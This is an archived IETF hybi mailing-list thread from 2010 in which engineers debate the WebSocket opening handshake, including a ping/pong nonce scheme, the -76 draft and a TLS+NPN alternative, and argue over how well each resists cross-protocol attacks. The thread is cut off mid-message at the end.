Subject: [hybi] Handshake was: The WebSocket protocol issues.

From: Greg Wilkins <[email-masked]>
Date: Thu, 23 Sep 2010 12:06:14 -0700

2010/9/23 Ian Fette (イアンフェッティ) <[email-masked]>:
> Greg,
> I want to point out that I am totally open to replacing the handshake.
> However, I do think there are a set of requirements that we should meet:

Ian,

I never meant to imply that you were not.   You're doing a great job
and good progress is being made.

The only thing that I ask is that when we consider all alternative
proposals that we do not give the current handshake any benefits
simply due to incumbency that I believe was not obtained with due
diligence.    We should simply consider all alternatives and pick the
best.

So I'll  summarize my ping pong proposal and then discuss the criteria
you listed below

 + The client handshake should include a random nonce that the client
generates after the websocket instance has been created
 + The server handshakes with a 101 that indicates acceptance of the
websocket upgrade.
 + The server then sends as the first message on the connection a ping
that has a hash of the nonce in its body.
 + The client recieves the 101 response and then the ping request.
Only after checking the contents of the ping and sending a pong
response (to ensure the connection is still open) should it call the
onopen callback of the websocket object
 + The server has a ping timeout running that is cancelled by the
receipt of the pong. If the pong is not received, the connection is
terminated.

> 1. Prevent cross protocol attacks. (It would really help if these were
> enumerated in detail.) If WebSockets can be used to e.g. attack an SMTP
> server and cause it to send mail, as one example, I think people would turn
> off / not implement WebSockets, which would not be good.

The proposal includes a nonce that is generated by the browser after
the URL is passed.  Thus any injectable server will not be able to be
attacked with a crafted URL that will trick it into emitting a 101
response and ping with hash.  So a websocket client cannot be used to
attack an injectable HTTP server (which I think would still be
vulnerable to all sorts of horrendous attacks if it were so
injectable).

I can't think of a non-websocket server that could not be compromised
by the current handshake, but could be comprised by the ping pong
proposal.  The initial bytes of both are substantially similar and
thus any protocol that accepts a HTTP upgrade request as legal content
is going to be a problem.
Wrapping the random bytes in a ping frame will make them less likely
to match some other protocol, as the random bytes always have a chance
of picking something that happens to match.

Thus I think the ping/pong proposal is as least as good as the current
handshake in this regards.

> 2. Detect and fail in the presence of intermediaries that will cause
> problems with the WebSockets connection. If there's an intermediary that is
> going to be buffering messages for a long period of time waiting for a
> connection to be closed, as is the case with some current HTTP
> intermediaries, that would cause serious problems and I would want to know
> that up front. The current handshake doesn't do a great job here in that
> it's been pointed out (in Issue 4) that it hangs in the presence of certain
> such proxies. As I stated in another email, I'm open to alternatives.

My proposal tests the capability of intermediaries to handle websocket
messages by sending actual websocket messages.  The client onopen is
not triggered until the first successful server->client delivery. If
client->server messages cannot be delivered, that will be detected by
the pong timeout.

There is no way to "detect" the non transmission of messages other
than by having timeouts, plus  Ping/Pong timeouts will need to be
implemented in any case, so this proposal puts no extra burden on the
implementations.

The upgrade response does not need to wait for any non-HTTP data, so
there is less potential for blocking. The server can send the ping
(which may fail if an intermediary closes the connection on the 101)
and then immediately start sending application ws frames while waiting
for the pong.   The client has to wait for the 101 as it does already,
and then it can wait for the ping as well.    I assume it already had
a timeout for the 101 response, so this should not be any extra
complexity.

> 3. Compliance with HTTP up to the point of CONNECT.
> Alternatives that actually meet the above criteria in a manner that is
> sufficiently "better" than the current proposal I am fully open to.

The ping/pong proposal is fully compliant with HTTP. Neither endpoint
sends any non-HTTP bytes until a 101 has been emitted. The bytes then
sent are actually websocket packets and thus fully respect the terms
of the upgrade (ie they are not some random bytes that are neither
HTTP nor websocket).

There are probably many improvements that can be made to this
proposal, but I think that it is at least as good as the current
handshake in all respects and much better in many.

cheers

---

From: Gabriel Montenegro <[email-masked]>
Date: Thu, 23 Sep 2010 20:48:50 +0000

+1 on this handshake. The only comment I'd make is that the server ping does not need to wait for a different message. It can follow the 101, as long as its after the empty line following the 101, as anything at that point is now expected to be websocket protocol and no longer HTTP. 

If there's any fear that the server's hash in the ping could collide with any other protocol's payload, then just add "WebSocket" to the hash in the ping.

> -----Original Message-----
> From: [email-masked] [mailto:[email-masked]] On Behalf Of Greg
> Wilkins
> Sent: Thursday, September 23, 2010 12:06 PM
> To: ifette
> Cc: Alexander Voronin; hybi
> Subject: [hybi] Handshake was: The WebSocket protocol issues.
> 
> _______________________________________________
> hybi mailing list
> [email-masked]
> https://www.ietf.org/mailman/listinfo/hybi

---

From: Greg Wilkins <[email-masked]>
Date: Thu, 23 Sep 2010 16:53:34 -0700

> +1 on this handshake. The only comment I'd make is that the server ping does not need to wait for a different message. It can follow the 101, as long as its after the empty line following the 101,…

Gabriel,

The intention is to send the ping immediately after the 101 response
without waiting for anything.

> If there's any fear that the server's hash in the ping could collide with any other protocol's payload, then just add "WebSocket" to the hash in the ping.

That hash algorithm works for me.

---

From: Willy Tarreau <[email-masked]>
Date: Fri, 24 Sep 2010 06:41:40 +0200

Greg,

I agree with all your points about your proposal, except the one
below :

> handshake in this regards.

Since the client does not expect a response, it can't know whether
the intermediaries are blocking or not, which means it might be trying
to send large amounts of data before detecting that they're blocked.
And some intermediaries will definitely block. But I think that with
adding a few headers in the response (CL:0 + Conn: close), we should
be able prevent such intermediaries from sending the server's ping to
the client and trick them into closing first, which might do the trick.

However, I find the principle of not sending anything until the server
speaks WS a good idea because it protects against cross-proto attacks
after the handshake. The inital part being HTTP, it performs no better
and no worse than HTTP.

So if we're going to make the handshake look like this, then our efforts
must go towards ensuring that intermediaries that are not able to forward
the client's poing won't forward the server's ping first.

Last point, if we do that, we must keep in mind that it should not be
directly reused for non-HTTP handshake openings. It's important for
firewalls, IDS, proxies, etc... to see what protocol the client speaks
before forwarding to the server, so it will have to be advertised first.

Regards,
Willy

---

From: Simone Bordet <[email-masked]>
Date: Fri, 24 Sep 2010 11:20:05 +0200

Hi,

> a timeout for the 101 response, so this should not be any extra

Just for sake of clarity, if an intermediary discards the websocket
bytes because it does not understand them, but does not close the
connection, the websocket client will receive the 101 but not the
server ping, so the client waits a timeout before closing itself the
connection, right ?

The server can then assume that all the data it sent after the ping
was lost because it did not receive the client pong.

+1 for me also on this handshake.

Simon
-- 
http://bordet.blogspot.com
---
Finally, no matter how good the architecture and design are,
to deliver bug-free software with optimal performance and reliability,
the implementation technique must be flawless.   Victoria Livschitz

---

From: Alexander Voronin <[email-masked]>
Date: Fri, 24 Sep 2010 12:33:19 +0300

To my mind is enough to send 101 or 501 if websocket is not implemented on
server or intermediary. You are making things too complicated and implicit.

2010/9/24 Simone Bordet <[email-masked]>

-- 
когда я опустился на самое дно, снизу мне постучали..

---

From: Maciej Stachowiak <[email-masked]>
Date: Fri, 24 Sep 2010 02:36:34 -0700

> receipt of the pong. If the pong is not received, the connection is

This proposal does not appear to defend against a cross-protocol attack on a WebSocket server using a browser-hosted HTTP API.

It also appears to add more round trips before actual message sending can begin in either direction.

Regards,
Maciej

---

From: Simone Bordet <[email-masked]>
Date: Fri, 24 Sep 2010 11:45:36 +0200

Hi,

> server or intermediary. You are making things too complicated and implicit.

Am I ?
I think Willy showed how intermediaries could already discard bytes
without closing the connection (see
http://www.ietf.org/mail-archive/web/hybi/current/msg02149.html).
I was just asking for a clarification from the proposer about the case
of a client receiving the 101 but not the ping.

Simon

---

From: Alexander Voronin <[email-masked]>
Date: Fri, 24 Sep 2010 12:52:10 +0300

What kind of cross-protocol attacks You are talking about all this time?
Using simplest handshake with framed data transfer and relied on browser
security policies it seems to be impossible. Do You have any real examples
on this?

2010/9/24 Maciej Stachowiak <[email-masked]>

>
>
> This proposal does not appear to defend against a cross-protocol attack on
> a WebSocket server using a browser-hosted HTTP API.
>

---

From: James Graham <[email-masked]>
Date: Fri, 24 Sep 2010 11:58:12 +0200

On 09/24/2010 11:52 AM, Alexander Voronin wrote:
> security policies it seems to be impossible. Do You have any real
> examples on this?

You might be interested in [1]

[1] http://www.remote.org/jochen/sec/hfpa/

---

From: Alexander Voronin <[email-masked]>
Date: Fri, 24 Sep 2010 13:10:21 +0300

I guess the root of all this issues is handshake mechanism by itself. It's
enough to NOT sed any data in GET request with handshake. I still not
understand why handshake is so complicated.

---

From: John Tamplin <[email-masked]>
Date: Fri, 24 Sep 2010 10:17:56 -0400

> server or intermediary. You are making things too complicated and implicit.

The intermediaries we are concerned about have already been written.
If they were going to be modified to send a 501 back for a WebSocket
connection,  they might as well just be modified to support
WebSockets.

So, we want to let existing intermediaries that would currently work
without change keep working (which means remaining HTTP compliant
until the server response comes back), and hopefully detect those that
fail quickly without requiring timeouts.

-- 
John A. Tamplin
Software Engineer (GWT), Google

---

From: Alexander Voronin <[email-masked]>
Date: Fri, 24 Sep 2010 17:50:57 +0300

Intermediates and servers that have no WebSockets support will answer to
handshake with any code but no 101. Is that still not enough to figure out
if WebSocket connection established? Why to make things complex if they
could be simple?

Also I did not get this
article<http://www.ietf.org/mail-archive/web/hybi/current/msg04166.html>by
email, but will answer here. Referenced document provides sample of
cross-protocol attack using HTTP POST on SMTP. POST is a one-stage request
without handshake, WebSocket is a GET extension with handshake, so I guess
does not matter how complicated handshake will be if browser not obey HTTP
rules and continue HTTP session after getting "500 Command unrecognized"
instead of "HTTP/1.1 101 OK". This is not protocol but browser issue.

2010/9/24 John Tamplin <[email-masked]>

---

From: Willy Tarreau <[email-masked]>
Date: Fri, 24 Sep 2010 16:58:16 +0200

> if WebSocket connection established? Why to make things complex if they

I think that the point that you missed is that since WS works on top of
HTTP, any HTTP-compliant intermediary will implicitly support WS. However,
we're aware that there are some incomplete HTTP implementations, and some
intermediaries which by design will not let that pass through, reason why
it's important to detect failures quickly.

> instead of "HTTP/1.1 101 OK". This is not protocol but browser issue.

No, the issue happens before. Imagine that the browser sends an HTTP-based
handshake immediately followed by a certain amount of bytes that are to be
understood by the remote server. If that remote server simply ignores the
handshake because it does not understand it (as most services do), it will
start to process the rules that follow the handshake. An SMTP server might
very well accept spam that are sent as a POST request (my mail server
receives hundreds of those every day).

Whether the browser stops or not when receiving the "500 Command unrecognized"
is irrelevant to the problem, the harm has already been done.

Willy

---

From: Alexander Voronin <[email-masked]>
Date: Fri, 24 Sep 2010 18:08:31 +0300

Let's see whats happen when we using WebSocket:
1. JavaScript creates socket

var webSocket = new WebSocket('ws://localhost/echo');

2. Browser here can't send any kind of data, but just handshaking

GET /echo HTTP/1.1
Upgrade: WebSocket
Connection: Upgrade
Host: example.com
Origin: http://example.com
WebSocket-Protocol: sample

---

HTTP/1.1 101 Web Socket Protocol Handshake
Upgrade: WebSocket
Connection: Upgrade
WebSocket-Origin: http://example.com
WebSocket-Location: ws://example.com/demo
WebSocket-Protocol <http://example.com/demoWebSocket-Protocol>: sample

3. Just now after browser GOT 101 and correct handshake data we can sand
some data

webSocket.send ("some data that ca not be placed in other than HTTP stream");

So You still think there is posible to "protect" something with MD5, BIG
ENDIAN, or some other kind of ugly string manipulations? Handshake must be
simple and clear just to ensure this is correct HTTP server/proxy and it's
compatible with WebSockets. Before that browser will not allow JavaScript to
send ANY data.

2010/9/24 Willy Tarreau <[email-masked]>

> > article<http://www.ietf.org/mail-archive/web/hybi/current/msg04166.html
> >by

---

From: Willy Tarreau <[email-masked]>
Date: Fri, 24 Sep 2010 17:31:22 +0200

> WebSocket-Protocol: sample

Current version of the draft implies that the browser also sends 8 bytes
after that. And if we do things badly, the handshake could require sending
more bytes, thus becoming more dangerous. 

> 3. Just now after browser GOT 101 and correct handshake data we can sand

We all agree about that, but as several people have indicated, this minimal
handshake requires two round trips because it still does not validate the
fact that the whole chain can exchange data in both directions. That's why
there are thoughts about improving from that point.

Regards,
Willy

---

From: Alexander Voronin <[email-masked]>
Date: Fri, 24 Sep 2010 20:21:23 +0300

Here we'r talking not about handshake but about cross-protocol attacks. So
websockets as two-stage process is invulnerable to this attack. If browser
creates and openes websocket than we sure that data will be sent into HTTP
stream. If handshake fails no data will be sent. So what kind of
cross-protocol attacks we'r still trying to avoid? Referenced document with
POST example has nothing in common with our issue.

In reference to handshake - as noticed sending data in GET request is a bad
idea. And I still believe that old style handshake will work for any kind of
proxy chains using just HTTP result codes.

---

From: Willy Tarreau <[email-masked]>
Date: Fri, 24 Sep 2010 20:09:22 +0200

On Fri, Sep 24, 2010 at 08:21:23PM +0300, Alexander Voronin wrote:
> stream. If handshake fails no data will be sent.

We all agree with that and I explained to you that this model requires two
round trips, which means a connection takes twice the time to set up. Hence
the difficulty to be able to design a one-round-trip handshake which does
not open cross-protocol attack holes.

> idea.

That was my first reaction too, until I realized that the Upgrade mechanism
is already well defined and independant of the method. We're not sending data
in a GET request, we're sending data after a confirmed Upgrade response which
was induced by a GET+Upgrade request. And precisely the problem that appeared
in draft 76 is that when you add an intermediary, the data aren't forwarded
to the server because they're not part of the request.

> And I still believe that old style handshake will work for any kind of

Yes, but the important part is not that the handshake works, but that the
bidirectional data exchange after the handshake works. The handshake is
there to set that up and quickly detect possible failures.

Willy

---

From: Maciej Stachowiak <[email-masked]>
Date: Sun, 26 Sep 2010 17:44:55 -0700

Here is an email from February where I summarized some of the risks from cross-protocol attacks for WebSocket:

http://www.ietf.org/mail-archive/web/hybi/current/msg01198.html

Sorry about the formatting, it seems that the archives didn't like my mail client. You may have an easier time reading it if you copy that web page into an editor that wraps lines.

Important thing to keep in mind: there are potential attacks in either direction. We must make sure that WebSocket protocol cannot be used for cross-protocol attacks on existing HTTP servers, and we want to make sure that WebSocket servers are not vulnerable to cross-protocol attacks from HTTP.

Cross-protocol attacks are a subtle and complicated issue. If you search for the phrase "cross-protocol attacks" on your favorite search engine you can find more issues about this general area.

Regards,
Maciej 

On Sep 24, 2010, at 2:52 AM, Alexander Voronin wrote:

> What kind of cross-protocol attacks You are talking about all this time? Using simplest handshake with framed data transfer and relied on browser security policies it seems to be impossible. Do You have any real examples on this?
>

---

From: Greg Wilkins <[email-masked]>
Date: Sun, 26 Sep 2010 18:22:47 -0700

> cross-protocol attacks for WebSocket:

Maciej,

thanks for the reference, but I didn't and still don't fully
understand the actual risk posed by those descriptions and that we are
still shadow boxing against perceived rather than real threats.

> 1) Hostile JavaScript could use WebSocket for a cross-protocol attack against
> vanilla HTTP resources or non-HTTP servers.
> If the attacker can trick a non-WebSocket server into echoing back chosen text (for
> example through something in the URL part of the request), then they could make
> it give what appears to be a valid WebSocket handshake response. This could result
> in unauthorized access.

I don't understand "unauthorized access" in this context.   If a
server, HTTP or otherwise want to protect it's content, then it needs
to have both authentication and authorization, which typically means
that the client will possess some credentials that the server must
check.     If the server does not protect its resources or the
attacker already has access to credentials (or can trick the
browser/user into providing credentials), then the easiest way to
access a non-websocket server would be with existing HTTP mechanisms
in the browser.

Is there anything about WS that would make a vulnerable HTTP server
easier to exploit than just using the existing HTTP mechanisms
available in the browser? ie are there any exploit HTTP requests that
can be generated using the WS client that could not be generated
anyway?

> 2) Cross-site XMLHttpRequest (using CORS or XDomainRequest) could be used for a
> cross-protocol attack against WebSocket resources, potentially violating integrity (though not confidentiality).
>
> The WebSocket protocol currently does not require any checking of the client handshake. However, any
> WebSocket server that performs any side effects in response to messages from the client has a security
> vulnerability if it does not check correctness of the handshake request from the client.

I think that any server that "performs any side effects in response to
messages from the client" will have a security vulnerability if they
do not correctly check the authentication and authorization of the
client. Eventually most browsers will have WS available to the
javascript, so a server that is so vulnerable will be able to be
exploited just with WS instead of trying to trick HTTP.

The read question should be - are there any WS
authentication/authorization mechanisms that can be subverted by using
a HTTP mechanism instead of a the WS API?

I still think that we should take reasonable measures to prevent cross
protocol handshakes - even if there are no identified real security
issues.  But I think that the usage of Sec- headers and a simple nonce
will give very good protection and that we only need do more if there
is a real clearly identified risk.

regards

---

From: Adam Barth <[email-masked]>
Date: Sun, 26 Sep 2010 18:35:36 -0700

On Sun, Sep 26, 2010 at 6:22 PM, Greg Wilkins <[email-masked]> wrote:
> check.

Browser also protect intranet servers which use connectivity as their
sole means of authentication/authorization.

> If the server does not protect its resources or the

The existing HTTP mechanisms exposed to untrusted content in browser
already respects these security invariants.  In adding new network
APIs, browser wish to continue to maintain these invariants.

> available in the browser?

Potentially, yes.  That's why we have to worry about these issues in
designing the handshake.

> ie are there any exploit HTTP requests that

Not if we correctly secure the WS protocol handshake against these threats.

> client.

This is not an accurate understanding of the security invariants
browsers seek to maintain.

> Eventually most browsers will have WS available to the

Browser seek to protect servers that have never heard of WebSockets
and have no interest in these newer technologies.  From that
perspective, it's important to compare the security invariants of the
browser before and after introducing WebSockets.  We need to study any
change in these invariants to make sure they don't introduce security
vulnerabilities in existing servers.  This is a prerequisite for
exposing the WebSocket API to untrusted content in the browser.

> a HTTP mechanism instead of a the WS API?

That's part of the question.

> issues.

Instead of playing "whack a mole" against the cross-protocol attacks
we can think of today, we should design the protocol such that we have
reasonable assurance that we won't discover cross-protocol attacks
tomorrow.  The WebSocket protocol is going to be with us for a long
time.  These attacks are subtle and take years to flush out of a
shoddy design.

> But I think that the usage of Sec- headers and a simple nonce

With all due respect, I'm not convinced you have a strong enough
handle on the required security properties to make such a bold claim.

Adam

---

From: Greg Wilkins <[email-masked]>
Date: Sun, 26 Sep 2010 19:26:09 -0700

> handle on the required security properties to make such a bold claim.

Adam,

with all due respect we need a more mature approach than - "tharr be
monster tharrrr!"

If you are unable to clearly define the problems that the current
handshake is trying to solve, then please find somebody with standing
to contradict my statement.

I have yet to see any description of any threat that is not addressed
by the Sec-headers and a nonce, nor do I see these as a whack a mole
approach.
Together these represent a type of header that a HTTP javascript
client is unable to generate and knowledge that a javascript code is
unable to know.

What additional specific or generic attack vector is the space
insertion, character stripping and unframed binary data protecting
from.

regards

---

From: Maciej Stachowiak <[email-masked]>
Date: Sun, 26 Sep 2010 21:35:08 -0700

> still shadow boxing against perceived rather than real threats.

If you don't understand the risks, then I am not sure you are in a good position to propose solutions or evaluate their effectiveness. Please try to read up on cross-protocol attacks, a simple Google search and the paper that James Graham linked earlier in the thread are great starting points. Many in this WG seem to discount the importance of security risks that they do not personally understand. Well, trust me, the bad guys understand them, and they are not going to be dissuaded by the difficulty of these issues, nor will they give us an A for effort if we work very hard but still produce something insecure.

I will note in fairness that my original attacks were against the old (-75) handshake which did not have any kind of protection. I have also learned a lot more about cross-protocol attacks since originally posting the email I cited, which proposed a nonce with hash response as protection and nothing else. Largely thanks to pointers from and personal conversations with Adam Barth.

One thing I have learned is that it is very risky to have a defense that just barely works. These are very likely to become defenses that don't work at all in the face of a trickier attack, or a novel seemingly minor vulnerability that breaks the assumptions of the defense.

The reason I am skeptical of your proposed ping-poing handshake as a defense against cross-protocol attacks is that the *only* defense protecting WebSocket servers from attacks over HTTP is the assumed inability of browser-hosted HTTP clients to send whatever carries the random nonce, or something that looks sufficiently similar. Your summary doesn't specify exactly how the nonce is sent, but I'll assume it is using a header that normally cannot be sent via cross-site XHR or similar APIs.

Now, imagine that a Web attacker, using in-browser APIs, can send something that looks close enough to the nonce-carrying header to fool a server. This could be due to a client bug, or due sloppy server processing (e.g. parsing with regexps and not carefully checking for newlines), or due to a bug in an intermediary (tricked into injecting extra headers). At this point, the ping-poing exchange does nothing to protect the server for attacks. The attacker could have queued up a body that sends the pong plus any additional messages without needing to look at the ping, and the server will blindly process them.

Now, you could argue that such a scenario is merely a bug in either the client or the server or the intermediary, and the protocol is not at fault. But I would look at such a scenario and say the security of the protocol is extremely brittle. It would be better to have a protocol that is more robust in the face of buggy software.

A potential improvement would be to require the server to produce a random number, which is included in the ping and must be in the pong in addition to the hash. In that case, an attacker could not queue up the correct pong without looking at the server's response at all. But going down this road results in increasingly elaborate schemes, along the lines of the -76 handshake. It's also likely there are more complicated flaws that we simply haven't thought of yet. I don't think we can stake the security of this protocol just on our own ability to think up attacks within a period of only a few weeks.

As I have thought about these issues, I am increasingly convinced that an NPN-style solution is much more robust. Attempting to make a TLS connection to a vanilla HTTP server, or an HTTPS server that does not understand NPN, will reject the connection at a very low level, greatly limiting the potential for shenanigans. Browser clients in general do not offer APIs that would allow a Web attacker any control of the outgoing TLS handshake, and the TLS layer would fail a bad connection before server software even had the opportunity to make a mistake. This approach seems much more robust to me. Rather than just barely being secure, it fails hard before the attacker can even do anything tricky. I think it is much likely there would be future attacks. I hope the WG strongly considers the NPN approach, despite the costs and challenges imposed by using TLS.

Regards,
Maciej

---

From: Ian Hickson <[email-masked]>
Date: Mon, 27 Sep 2010 04:47:02 +0000 (UTC)

On Sun, 26 Sep 2010, Maciej Stachowiak wrote:
> 
> As I have thought about these issues, I am increasingly convinced that 
> an NPN-style solution is much more robust. Attempting to make a TLS 
> connection to a vanilla HTTP server, or an HTTPS server that does not 
> understand NPN, will reject the connection at a very low level, greatly 
> limiting the potential for shenanigans. Browser clients in general do 
> not offer APIs that would allow a Web attacker any control of the 
> outgoing TLS handshake, and the TLS layer would fail a bad connection 
> before server software even had the opportunity to make a mistake. This 
> approach seems much more robust to me. Rather than just barely being 
> secure, it fails hard before the attacker can even do anything tricky. I 
> think it is much likely there would be future attacks. I hope the WG 
> strongly considers the NPN approach, despite the costs and challenges 
> imposed by using TLS.

I agree. There were two main advantages to the handshake I had specced: 
first, it would allow us to move fast and iterate, with browsers all being 
able to have WebSocket client support in the current cycle, and second, it 
would be easy to implement for amateur Web authors.

Since we have missed this implementation cycle, and since the framing of 
the protocol is going to support elaborate features such as fragmentation, 
multiple channels, and so forth, to the point where amateur deployments 
are essentially required to use a library and can't realistically be 
expected to write their own servers, I really see no reason at this point 
to not always require TLS and to use an NPN-style forced protocol switch.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

---

From: Mike Belshe <[email-masked]>
Date: Sun, 26 Sep 2010 22:00:00 -0700

On Sun, Sep 26, 2010 at 9:35 PM, Maciej Stachowiak <[email-masked]> wrote:

> If you don't understand the risks, then I am not sure you are in a good
> position to propose solutions or evaluate their effectiveness. Please try to
> read up on cross-protocol attacks, a simple Google search and the paper that
> James Graham linked earlier in the thread are great starting points. Many in
> this WG seem to discount the importance of security risks that they do not
> personally understand. Well, trust me, the bad guys understand them, and
> they are not going to be dissuaded by the difficulty of these issues, nor
> will they give us an A for effort if we work very hard but still produce
> something insecure.
>
> I will note in fairness that my original attacks were against the old (-75)
> handshake which did not have any kind of protection. I have also learned a
> lot more about cross-protocol attacks since originally posting the email I
> cited, which proposed a nonce with hash response as protection and nothing
> else. Largely thanks to pointers from and personal conversations with Adam
> Barth.
>
> One thing I have learned is that it is very risky to have a defense that
> just barely works. These are very likely to become defenses that don't work
> at all in the face of a trickier attack, or a novel seemingly minor
> vulnerability that breaks the assumptions of the defense.
>
> The reason I am skeptical of your proposed ping-poing handshake as a
> defense against cross-protocol attacks is that the *only* defense protecting
> WebSocket servers from attacks over HTTP is the assumed inability of
> browser-hosted HTTP clients to send whatever carries the random nonce, or
> something that looks sufficiently similar. Your summary doesn't specify
> exactly how the nonce is sent, but I'll assume it is using a header that
> normally cannot be sent via cross-site XHR or similar APIs.
>
> Now, imagine that a Web attacker, using in-browser APIs, can send something
> that looks close enough to the nonce-carrying header to fool a server. This
> could be due to a client bug, or due sloppy server processing (e.g. parsing
> with regexps and not carefully checking for newlines), or due to a bug in an
> intermediary (tricked into injecting extra headers). At this point, the
> ping-poing exchange does nothing to protect the server for attacks. The
> attacker could have queued up a body that sends the pong plus any additional
> messages without needing to look at the ping, and the server will blindly
> process them.
>
> Now, you could argue that such a scenario is merely a bug in either the
> client or the server or the intermediary, and the protocol is not at fault.
> But I would look at such a scenario and say the security of the protocol is
> extremely brittle. It would be better to have a protocol that is more robust
> in the face of buggy software.
>
> A potential improvement would be to require the server to produce a random
> number, which is included in the ping and must be in the pong in addition to
> the hash. In that case, an attacker could not queue up the correct pong
> without looking at the server's response at all. But going down this road
> results in increasingly elaborate schemes, along the lines of the -76
> handshake. It's also likely there are more complicated flaws that we simply
> haven't thought of yet. I don't think we can stake the security of this
> protocol just on our own ability to think up attacks within a period of only
> a few weeks.
>

>
> As I have thought about these issues, I am increasingly convinced that an
> NPN-style solution is much more robust. Attempting to make a TLS connection
> to a vanilla HTTP server, or an HTTPS server that does not understand NPN,
> will reject the connection at a very low level, greatly limiting the
> potential for shenanigans. Browser clients in general do not offer APIs that
> would allow a Web attacker any control of the outgoing TLS handshake, and
> the TLS layer would fail a bad connection before server software even had
> the opportunity to make a mistake. This approach seems much more robust to
> me. Rather than just barely being secure, it fails hard before the attacker
> can even do anything tricky. I think it is much likely there would be future
> attacks. I hope the WG strongly considers the NPN approach, despite the
> costs and challenges imposed by using TLS.
>

+1.  If we think WebSockets has to solve these security problems, the best
bet is TLS.

Further, if we're going to take the expense of a round trip in the
handshake, we might as well get TLS, not just a nonce-verification.

Mike

---

From: Greg Wilkins <[email-masked]>
Date: Mon, 27 Sep 2010 15:35:56 +1000

Maciej, Adam,

On 27 September 2010 14:35, Maciej Stachowiak <[email-masked]> wrote:
> If you don't understand the risks, then I am not sure you are in a good position to propose solutions or evaluate their effectiveness.

Please stop using insults of my suitability to partake in this
discussion as substitutes for reasoned discussion.

> Many in this WG seem to discount the importance of security risks that they do not personally understand.

Please don't suggest that I do not take security issues seriously or
that by proposing amendments to the handshake that I am somehow trying
to weaken the protection against cross protocol attacks.

> One thing I have learned is that it is very risky to have a defense that just barely works.

Something that many have not learnt is that having something that
looks secure, but has not been subject to rigorous due diligence, is
often highly insecure.

> The reason I am skeptical of your proposed ping-poing handshake as a defense
> against cross-protocol attacks is that the *only* defense protecting WebSocket servers
> from attacks over HTTP is the assumed inability of browser-hosted HTTP clients to send
> whatever carries the random nonce, or something that looks sufficiently similar.

Well the ping pong proposal is actually not addressed at cross
protocol concerns.   The ping pong proposal is focused on the supposed
"fast fail" detection of intermediaries that do not support websocket.

With regards to the defence against cross protocol attacks, the only
change of substance that I have suggested is the removal of the space
counting and random character injection in the keys transmitted.   I
have suggested that the hashed response is carried in a websocket ping
rather than as unframed data, but I do believe that changes the
security nature of the issue (as any server that allowed the injection
of 16 random unframed bytes would surely also allow the injection of a
valid ping frame containing those bytes).

Thus the ping pong proposal carries essentially the same protection
against cross protocol attacks as the current handshake:

1) Standard in browser HTTP mechanisms are unable to generate the Sec- headers
2) The nonce is generated after the Websocket object is created - and
changing it's encoding from char injected space divided strings to hex
makes no difference.
3) Standard clients will be unable to generate the required pong
response, just as they cannot generate the 8 random unframed bytes.

> A potential improvement would be to require the server to produce a random number,
> which is included in the ping and must be in the pong in addition to the hash. In that case,
> an attacker could not queue up the correct pong without looking at the server's response at all.
> But going down this road results in increasingly elaborate schemes, along the lines of the -76 handshake.

Great - a real technical proposal! The pong message is already
required to contain the contents of the ping, so it is already not
possible for a pong message to be simply queued (the attacker has
neither the capability to send the bytes, nor the knowledge of what
they should be).

> It's also likely there are more complicated flaws that we simply haven't thought of yet. I don't think we can
> stake the security of this protocol just on our own ability to think up attacks within a period of only a few weeks.

Where have I suggested that we adopt the whack-a-mole approach of
dealing with only specific known attacks.

I've have been talking about general capabilities that an attacker may
have (eg what kind of bytes sequences they can generate on the wire)
plus the general limitations on what an attacker may know (eg
predicting nonce values, access to cookies etc.).     We then have to
evaluate if the presence of websocket in a browser or server gives an
attacker any additional capabilities or any additional knowledge that
may contribute to any kind of attack.

It is not sufficient to simply say that cross protocol is really
complex and scary an that any attempt to remove the space counting
from the handshake is bound to open up a whole range of unknown and
unforeseeable  security problems.

> As I have thought about these issues, I am increasingly convinced that an NPN-style solution is much more robust.

Indeed it is, and I fully support efforts to standardize that as
another way to establish websocket connections.

Meanwhile we have some real proposals to establish websocket
connections via a HTTP upgrade.  Can we please discuss this and the
security implications of it.  If we are unable to come up with a
reasoned and explicable security model for websocket, then the IETF
processes will not allow any of our proposals progress.

---

From: Greg Wilkins <[email-masked]>
Date: Mon, 27 Sep 2010 16:16:51 +1000

> sole means of authentication/authorization.

True.

So does the presence of WS capability in the browser and/or server
provide any additional capability to exploit such servers?

If so, do the measures in the current and proposed handshakes help in
any significant way?

If not, is there something that we need to do to explicitly protect
port ranges etc in the same way that browsers currently do for XHR?

> APIs, browser wish to continue to maintain these invariants.

Excellent and both the requirements document and all recent versions
of the specification have included text to the effect that the
existing browser security model will be used.

Maybe that text needs clarification, but nobody has suggested watering
it down in any way.

> browsers seek to maintain.

I was not attempting to describe the security invariants that a
browser seeks to maintain.

I was making the observation that a server that performs side effects
on the basis of unauthenticated requests will by definition have a
security issue.   The ability to trigger that issue from a cross
protocol attack is essentially irrelevant if we are proposing the wide
spread deployment of a same protocol mechanism that can trigger the
same side effects.

> exposing the WebSocket API to untrusted content in the browser.

Which is precisely why I have been advocating that we study the impact
of the current handshake and proposed changes.

We need to discuss what type of byte sequences can a compromised WS
capable browser generate that a HTTP capable browser cannot? Are any
of these types of sequences a threat to WS unaware servers?   Does the
space counting and unframed bytes help in any way?

I have suggested that the defence in depth of Sec-headers, nonce
generation, handshake sequence requirements and normal web
authentication/authorization should limit the byte sequence that can
be generated to nothing that is more harmful that what can already
been generated.

All I have asked is if you have done any study that indicates that
suggests that space counting and unframed data provide any additional
meaningful security?

regards

---

From: Adam Barth <[email-masked]>
Date: Sun, 26 Sep 2010 23:26:08 -0700

Your email appears to proceed from the assumption that the current
handshake is sufficiently robust to cross-protocol attacks.  That
might well be true.  However, I don't think we have any reasonable
assurance that it is true.  If we can't have reasonable assurance of
the security of the -76 handshake, then we certainly cannot have such
assurance about your handshake since it is strictly weaker.

On the other hand, we can be reasonably assured that the TLS+NPN
handshake resists cross-protocol attacks.  I provided a security
argument to that effect in an email a while ago.  No one has provided
a similarly detailed security analysis of the -76 handshake or of the
handshake that you propose.

Adam

---

From: Alexander Voronin <[email-masked]>
Date: Mon, 27 Sep 2010 10:15:52 +0300

Well that's what I've talked about. You have proposed simple and clear
handshake that 100% protects handshake state of WebSocket connection and as
result makes unable to use cross-protocol attacks. It's enough. Why this
handshake was turned to something unimaginably complex? All this new steps
do not protect nothing.

---

From: Greg Wilkins <[email-masked]>
Date: Mon, 27 Sep 2010 17:16:03 +1000

Adam,

Your email appears to proceed from the assumption that I'm arguing
